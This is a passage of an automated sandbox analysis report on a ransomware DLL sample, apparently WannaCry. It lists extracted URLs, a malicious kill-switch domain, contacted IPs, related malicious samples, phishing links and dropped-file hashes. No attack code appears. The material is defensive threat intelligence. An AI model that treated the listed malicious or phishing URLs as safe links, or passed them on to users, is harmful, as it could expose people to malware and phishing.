                                          https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=svchost.exe, 00000014.00000003.315849134.000001F6C2848000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317155940.000001F6C284E000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://dev.virtualearth.net/REST/v1/Locationssvchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=svchost.exe, 00000014.00000003.293305404.000001F6C2831000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://dev.virtualearth.net/mapcontrol/logging.ashxsvchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://dev.ditu.live.com/mapcontrol/logging.ashxsvchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://pki.goog/repo/certs/gtsr1.der04lsass.exe, 0000000A.00000002.788663859.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.270622605.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    https://dev.ditu.live.com/REST/v1/Imagery/Copyright/svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.commssecsvc.exe.2.drtrue
                                                      • URL Reputation: malware
                                                      		unknown
                                                      https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=svchost.exe, 00000014.00000003.315978066.000001F6C2840000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=svchost.exe, 00000014.00000003.315901258.000001F6C285D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317224385.000001F6C285E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://dev.virtualearth.net/REST/v1/Transit/Schedules/svchost.exe, 00000014.00000003.316071142.000001F6C2841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317132351.000001F6C2842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315978066.000001F6C2840000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://dynamic.tsvchost.exe, 00000014.00000003.315702248.000001F6C2864000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              https://dev.virtualearth.net/REST/v1/Routes/Transitsvchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://t0.ssl.ak.tiles.virtualearth.net/tiles/gensvchost.exe, 00000014.00000003.293305404.000001F6C2831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317097644.000001F6C283A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://www.google.comsvchost.exe, 00000022.00000000.369771941.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.789224611.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://Passport.NET/tbsvchost.exe, 00000028.00000002.810337791.0000024ADF5BC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=svchost.exe, 00000014.00000003.315901258.000001F6C285D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317224385.000001F6C285E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://activity.windows.comsvchost.exe, 00000012.00000002.784847960.000001F93BC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.527463017.000001F93BC43000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://www.bingmapsportal.comsvchost.exe, 00000014.00000002.316685845.000001F6C2813000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://dev.ditu.live.com/REST/v1/Locationssvchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJmssecsvc.exe, 00000004.00000002.552393970.000000000019C000.00000004.00000010.00020000.00000000.sdmptrue
                                                                              • URL Reputation: safe
                                                                              		unknown
                                                                              https://%s.dnet.xboxlive.comsvchost.exe, 00000012.00000002.784847960.000001F93BC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.527463017.000001F93BC43000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • URL Reputation: safe
                                                                              		low
                                                                              https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high

                                                                                  World Map of Contacted IPs

                                                                                  • No. of IPs < 25%
                                                                                  • 25% < No. of IPs < 50%
                                                                                  • 50% < No. of IPs < 75%
                                                                                  • 75% < No. of IPs

                                                                                  Public IPs

                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                  104.17.244.81
                                                                                  		www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comUnited States
                                                                                  		13335CLOUDFLARENETUStrue

                                                                                  Private

                                                                                  IP
                                                                                  192.168.2.1
                                                                                  127.0.0.1

                                                                                  General Information

                                                                                  Joe Sandbox Version:35.0.0 Citrine
                                                                                  Analysis ID:670443
                                                                                  Start date and time: 20/07/202222:50:522022-07-20 22:50:52 +02:00
                                                                                  Joe Sandbox Product:CloudBasic
                                                                                  Overall analysis duration:0h 14m 56s
                                                                                  Hypervisor based Inspection enabled:false
                                                                                  Report type:full
                                                                                  Sample file name:4GDffePnzH (renamed file extension from none to dll)
                                                                                  Cookbook file name:default.jbs
                                                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                  Number of analysed new started processes analysed:24
                                                                                  Number of new started drivers analysed:0
                                                                                  Number of existing processes analysed:0
                                                                                  Number of existing drivers analysed:0
                                                                                  Number of injected processes analysed:17
                                                                                  Technologies:
                                                                                  • HCA enabled
                                                                                  • EGA enabled
                                                                                  • HDC enabled
                                                                                  • AMSI enabled
                                                                                  Analysis Mode:default
                                                                                  Analysis stop reason:Timeout
                                                                                  Detection:MAL
                                                                                  Classification:mal100.rans.troj.evad.winDLL@30/33@2/3
                                                                                  EGA Information:
                                                                                  • Successful, ratio: 25%
                                                                                  HDC Information:
                                                                                  • Successful, ratio: 55.3% (good quality ratio 50.5%)
                                                                                  • Quality average: 76.2%
                                                                                  • Quality standard deviation: 31.7%
                                                                                  HCA Information:Failed
                                                                                  Cookbook Comments:
                                                                                  • Adjust boot time
                                                                                  • Enable AMSI
                                                                                  • Override analysis time to 240s for rundll32

                                                                                  Warnings

                                                                                  • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe
                                                                                  • Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.35.236.56, 20.31.108.18, 20.238.103.94
                                                                                  • Excluded domains from analysis (whitelisted): upcegg.com, aiozxr.com, qzhktg.com, jiakym.com, crdmaw.com, tuq.xitr.ru, fs-wildcard.microsoft.com.edgekey.net, jodiqj.com, ueaxuo.com, qriryk.com, uveioi.com, llulaz.com, www.bing.com, xbarni.com, qhavei.com, shkwer.com, ris-prod.trafficmanager.net, dmeayc.com, bjeaou.com, ipuyoi.com, uxzarv.com, yatzxk.com, lbtouf.com, ris.api.iris.microsoft.com, aitedi.com, glduft.com, behliz.com, kbpdku.com, poxwrh.com, aiafye.com, eymqdf.com, anwttj.com, esouvn.com, eesoga.com, uaksyq.com, chiqnq.com, e12564.dspb.akamaiedge.net, fahjbc.com, limeek.com, arc.trafficmanager.net, abbjil.com, prod.fs.microsoft.com.akadns.net, viayig.com, ozzzcr.com, yhhjoi.com, ioinfd.com, ejrzqi.com, eyidty.com, cpfjlk.com, yireem.com, rcf.tanz.pl, rfejzp.com, upgxkm.com, pejokh.com, cuofey.com, jijqtj.com, vhxnzg.com, jk.libis.ru, egynaa.com, ygarij.com, fiuoch.com, cjjqgb.com, xykdhi.com, viizdw.com, meixcw.com, kuyuii.com, login.live.com, rheokd.com, kgr.cawt.ru, watson.telemetry.microsoft.com
                                                                                  • Execution Graph export aborted for target mssecsvc.exe, PID 2012 because there are no executed function
                                                                                  • Execution Graph export aborted for target mssecsvc.exe, PID 5012 because there are no executed function
                                                                                  • Execution Graph export aborted for target tasksche.exe, PID 6568 because there are no executed function
                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                  • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                  • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                                                                  • VT rate limit hit for: 4GDffePnzH.dll

                                                                                  Simulations

                                                                                  Behavior and APIs

                                                                                  TimeTypeDescription
                                                                                  22:52:09API Interceptor1x Sleep call for process: loaddll32.exe modified
                                                                                  22:52:35API Interceptor3x Sleep call for process: svchost.exe modified

                                                                                  Joe Sandbox View / Context

                                                                                  IPs

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                  104.17.244.81t4wCexrzVN.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  vTo7a4baA8.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  vyd0lp8sWV.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  9xVygBMjMI.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  5R1hMwYDu8.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  3UQFO1jyJZ.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  C8JFlb9Ovc.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  YosdZx5Gyk.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  gjHHvB88kO.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  UNpUCvECkT.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  6Uv92CT0Xe.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  SM3prh5ZIG.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  LECzIdsqYZ.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  7Lk3il2Jho.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  JnkyebSa2E.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  WV7Bz2jmCx.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  kFsMzLOFfN.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  gaxuKGW0Q6.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  tZLWyPj8zh.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/
                                                                                  ffv4z4GV2N.dllGet hashmaliciousBrowse
                                                                                  • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/

                                                                                  Domains

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                  www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comw367qY1TEE.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  2JfgH5ldCX.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  39kwjO82M5.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  Afa5TXTFdO.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  t4wCexrzVN.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  BQnBAI0jxm.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  vTo7a4baA8.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  vyd0lp8sWV.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  9xVygBMjMI.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  5R1hMwYDu8.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  3UQFO1jyJZ.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  Z7HnE1xMBg.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  C8JFlb9Ovc.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  YosdZx5Gyk.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  gjHHvB88kO.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  DsrgSFJNET.dllGet hashmaliciousBrowse
                                                                                  • 104.16.173.80
                                                                                  UNpUCvECkT.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  6Uv92CT0Xe.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  S2KVT4G59O.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  SM3prh5ZIG.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81

                                                                                  ASNs

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                  CLOUDFLARENETUSw367qY1TEE.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  39kwjO82M5.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  t4wCexrzVN.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  _FileSheet0012.HtMLGet hashmaliciousBrowse
                                                                                  • 104.18.36.4
                                                                                  https://info.trib247.com/link.php?AGENCY=PMI&M=21052615&N=152605&L=83670&F=H&drurl=aHR0cHM6Ly9kYWk4Njk4LmNvLmpwLzEvb3cvP2U9cGF1bC5kZXZpbmVAb29jbC5jb20=Get hashmaliciousBrowse
                                                                                  • 104.18.10.207
                                                                                  SecuriteInfo.com.VBA.Logan.3458.11956.xlsGet hashmaliciousBrowse
                                                                                  • 104.18.183.224
                                                                                  vTo7a4baA8.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  vyd0lp8sWV.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  9xVygBMjMI.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  SecuriteInfo.com.VBA.Logan.3458.11956.xlsGet hashmaliciousBrowse
                                                                                  • 104.18.183.224
                                                                                  rIUU6fy6un.dllGet hashmaliciousBrowse
                                                                                  • 8.46.10.77
                                                                                  Bc90WRHFvI.exeGet hashmaliciousBrowse
                                                                                  • 104.18.115.97
                                                                                  DVDStylerPortable_3_2_2.exeGet hashmaliciousBrowse
                                                                                  • 162.159.133.233
                                                                                  SecuriteInfo.com.VBA.Logan.3458.11956.xlsGet hashmaliciousBrowse
                                                                                  • 104.18.183.224
                                                                                  5R1hMwYDu8.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  http://clickserve.dartsearch.net/link/click?&ds_a_cid=680760384&ds_a_caid=12694754542&ds_a_agid=123477218634&ds_a_fiid=&ds_a_lid=&&ds_e_adid=512650395034&ds_e_matchtype=&ds_e_device=c&ds_e_network=&&ds_url_v=2&ds_dest_url=https%3a%2f%2fsjtug9.codesandbox.io?dg=lucille.douglas@seaboardmarine.comGet hashmaliciousBrowse
                                                                                  • 172.64.144.239
                                                                                  3UQFO1jyJZ.dllGet hashmaliciousBrowse
                                                                                  • 104.17.244.81
                                                                                  https://u28022616.ct.sendgrid.net/ls/click?upn=EW5d2vzpmKPRRwi-2BJuTwAFcatX0-2BjIaUc8edIXfn3mSKah9SIifnzMdqC3gQGEQzrPmFwDk9M-2FTXs1wOarPDqlU6FrlBqveM0jKhKKMrS0BZ1wkF2EpUub9GZYrhlLkklrYA6DiHnhi6cskJ6hcCiygWdJ5sUnHItvNAp2AQg4RhvfEU0qfZjvUpWVeMorZKeXEE_qeqjf2ARhRzgYTrrhQVggj-2FiV103DNAXYwxKXHvv0a2sOYLp81aCRd5ebg6gDCNji-2F4z7NeIYOkL5pO9nYz4A77o7Yfx4OPV7xZY2RTzK0nQrpN-2FaHuXH4wcvyFL-2FI-2BAaIxs2zT1pN5SaFOHIjkXv25o2GkSQcRoJCS47J0rX-2BUqiva3bFRzingg213rSC9lTpt-2Bw2RoGinM8Gi-2BHDybPvy9ScQYCHLcQVzISXd6nT5Hy21-2FwFR0cZnN0xNg-2FuAqUgN3JnpyQgvp4Z3xNgsEylHWN46gjMmjhj41Bh3Eh8kqjfmAkICDbI-2FYnJZgwwGVBISCQH1pJbNwEf-2FIq-2FDl2XFKchQ99MCdwMyEMUtiL0K0Yjt7oS4SBXyAxh0afTYptEUNMG0Jlc-2BbtUgMwfDS2HhgidG0bh4X-2BjOpabw51MTDDi0n2MVYP-2BvyoChE0vU1srXJvFP10FODQg6aZD3PD5HcWM9SX6-2BLgznJGncFSaPqSvju9oiM9yQFObV0Y-2FIrWMGZu2DUMO8teNqxLKZ4ovS9VJc-2FcktEnXeZc-2ByS7QLFL-2B5p49GTrHZ8yb9nnsBzOPSi5w7RnOupU06vnAB8UvumBGzu1-2BVQqbzFthi84um0PNKz7aybJF5-2FAR-2Fe-2FvKzQs-2BUTPSqk7Va2qXyv9PnF-2Fh04tWVUxlfs9qziHXhklbwQ8C9sHXhJECoEMNCztStQp9ys20jMWU8smTNH86fdUE6rjO9rha9logcJ0-2FbxOdHiG0G-2FWkAwU6zZuErB1WXaaVyUTzQIQMYorsOBqQ9OVuCFuSyYuFHCCWu01zxnGohxRMCqCkwbDIhcmddckE0hIzSygCZia5kdT-2FuzWptlh-2BmLWDEWMBGHv-2Feu-2BfIitq16R6gewMNiQMGOmVaMpY3Get hashmaliciousBrowse
                                                                                  • 104.17.25.14
                                                                                  84472864_677.94150360.548142.16759.lNkGet hashmaliciousBrowse
                                                                                  • 104.16.124.96
                                                                                  INQ BILANCIA.PDF.exeGet hashmaliciousBrowse
                                                                                  • 162.159.135.233

                                                                                  JA3 Fingerprints

                                                                                  ⊘No context

                                                                                  Dropped Files

                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                  C:\Windows\tasksche.exeHFKDS6VcNO.dllGet hashmaliciousBrowse
                                                                                    FjYNZSPNkt.dllGet hashmaliciousBrowse
                                                                                      kBBdc7Aoj4.dllGet hashmaliciousBrowse
                                                                                        tct5NKwZY8.dllGet hashmaliciousBrowse
                                                                                          7KPQg3aXdC.dllGet hashmaliciousBrowse
                                                                                            ngFFOGiE7Y.dllGet hashmaliciousBrowse

                                                                                              Created / dropped Files

                                                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.chk

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):8192
                                                                                              Entropy (8bit):0.3593198815979092
                                                                                              Encrypted:false
                                                                                              SSDEEP:12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
                                                                                              MD5:BF1DC7D5D8DAD7478F426DF8B3F8BAA6
                                                                                              SHA1:C6B0BDE788F553F865D65F773D8F6A3546887E42
                                                                                              SHA-256:BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
                                                                                              SHA-512:00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
                                                                                              Malicious:false
                                                                                              Preview:.............*..........3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................*.............................................................................................................................................................................................................................................................................................................................................................

                                                                                              C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                              File Type:MPEG-4 LOAS
                                                                                              Category:dropped
                                                                                              Size (bytes):1310720
                                                                                              Entropy (8bit):0.2494665121356636
                                                                                              Encrypted:false
                                                                                              SSDEEP:1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4L:BJiRdwfu2SRU4L
                                                                                              MD5:45F35E217E2CBF2907D7E1BF89C87022
                                                                                              SHA1:2A737EB3E2154EF24A9C420790EA96A47FBD6EFD
                                                                                              SHA-256:BA201D0D738FBB6DB91561ACEA1F692205BF6194227830F7DA500EAE66D1B178
                                                                                              SHA-512:BA5DBD7EF5A86002E2B480A39CD1F4B30B2A78A2FFB53B9A2A99DF80561D1A6242970E7140354BA07A0001238D11CD976279C0E98F090F30E40C58ADA9C2D09C
                                                                                              Malicious:false
                                                                                              Preview:V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

                                                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                              File Type:Extensible storage engine DataBase, version 0x620, checksum 0xed8847a7, page size 16384, Windows version 10.0
                                                                                              Category:dropped
                                                                                              Size (bytes):786432
                                                                                              Entropy (8bit):0.2506999317107723
                                                                                              Encrypted:false
                                                                                              SSDEEP:384:o/x+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:o/6SB2nSB2RSjlK/+mLesOj1J2
                                                                                              MD5:BB3F93167F8BDA110E952B193AA3CC50
                                                                                              SHA1:F2F9F29B9E26AE9D3EE4C88B89244151FD658E61
                                                                                              SHA-256:B2851FB8404BF35FB6ABCF8B53DE17B1E01DEFB92EB5C74209909794C0B1E6DE
                                                                                              SHA-512:D1B7692F7BE3D25923E2468CB2013FFC9E58D010DFEB52C827FEFEE183D2E0D675F5009F007A4F8ED0DB4CCC469113D6FD06B7744CDF593D990ADAA016081C12
                                                                                              Malicious:false
                                                                                              Preview:.G.... ................e.f.3...w........................).....-7...z..#4...z..h.(.....-7...z....)..............3...w...........................................................................................................B...........@...................................................................................................... .....................................................................................................................................................................................................................................................k.-7...z....................-7...z..........................................................................................................................................................................................................................................................................................................................................................................................

                                                                                              C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):16384
                                                                                              Entropy (8bit):0.07690949616960759
                                                                                              Encrypted:false
                                                                                              SSDEEP:3:wl//J7vGR35xWqXlt5sq6Uau+IC5D/lll1iCXltall3Vkttlmlnl:QJrGNGRjIC/4b3
                                                                                              MD5:B76312EBB304FF7E71944897173778B6
                                                                                              SHA1:98D69DEB5A340E177B27AD90710B7DA3FE328D98
                                                                                              SHA-256:32A91E2E51549462ED11DD79304DA512C0E5AC29C43B6889B9EE41F872E7AAC2
                                                                                              SHA-512:E90FB268E8B93C1FFAFD5A1BBB2798DF4CBC120F8350016B40A645836B7039D7D0981D99CB3CFA6309879C791AA030839DC5167E84EE625F14B5DA9DA742828E
                                                                                              Malicious:false
                                                                                              Preview:d8[......................................3...w..#4...z..-7...z..........-7...z..-7...z..M...-7...z....................-7...z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\3afe319e-6b5c-4758-bae8-754e117ee47d.up_meta

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):278
                                                                                              Entropy (8bit):3.426593150244979
                                                                                              Encrypted:false
                                                                                              SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRsBYof:ZxMghwLtHSM1Sb9mSMXAvwRF
                                                                                              MD5:2CB314656B2D58E3F731C643CFECD7D5
                                                                                              SHA1:887309B17B7D0EB21F5CF6FA3F49F4DACB11C1E0
                                                                                              SHA-256:ACF0176457441AE02C436F5D027BFE705AB5DEC950F4FA43E21B0044B192BFBD
                                                                                              SHA-512:74944164D22B004931CFEB9262A9B27236E1DE2BA686D490B80A4B7166F62078C2F241ED97A3BDA5F0078EC9485DE60E2F90EB0979401FBB961719604C70D414
                                                                                              Malicious:false
                                                                                              Preview:F.4.2.0.C.4.E.A.-.4.2.6.1.-.4.B.6.6.-.8.B.9.C.-.E.A.A.8.C.C.C.9.6.A.D.E...G.E.T...h.t.t.p.s.:././.i.m.g.-.p.r.o.d.-.c.m.s.-.r.t.-.m.i.c.r.o.s.o.f.t.-.c.o.m...a.k.a.m.a.i.z.e.d...n.e.t./.c.m.s./.a.p.i./.a.m./.i.m.a.g.e.F.i.l.e.D.a.t.a./.R.E.4.I.y.7.k.?.v.e.r.=.0.b.6.2...........

                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\3bd56297-52ba-406c-9e0a-a52a998b9671.up_meta

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):278
                                                                                              Entropy (8bit):3.4106499721675343
                                                                                              Encrypted:false
                                                                                              SSDEEP:6:ZyncUkamOwhg2YMYtHSMLhU7lBSliHGSMX6YXKMwEQwRYAo:ZxMghwLtHSM1Sb9mSMXAvwRY
                                                                                              MD5:E1FCF68DDE223F5B437797F21FB72620
                                                                                              SHA1:C1995DB2FABE7BD5DBCFC0BA7EE334A4A4D0C394
                                                                                              SHA-256:155C8DCEA06D82E99D2A58029AC3723651F66F5AC9733787CD068EA282CBF7A3
                                                                                              SHA-512:90E4E8D98FA75AF83E5ED4067ACFB6B42E815FA69C38B6CFC03C0F3B6E993B26E4D927A8E592AF98987ECE1A9BE701F140354BF649F6EAFF80A83C46443A54E4
                                                                                              Malicious:false
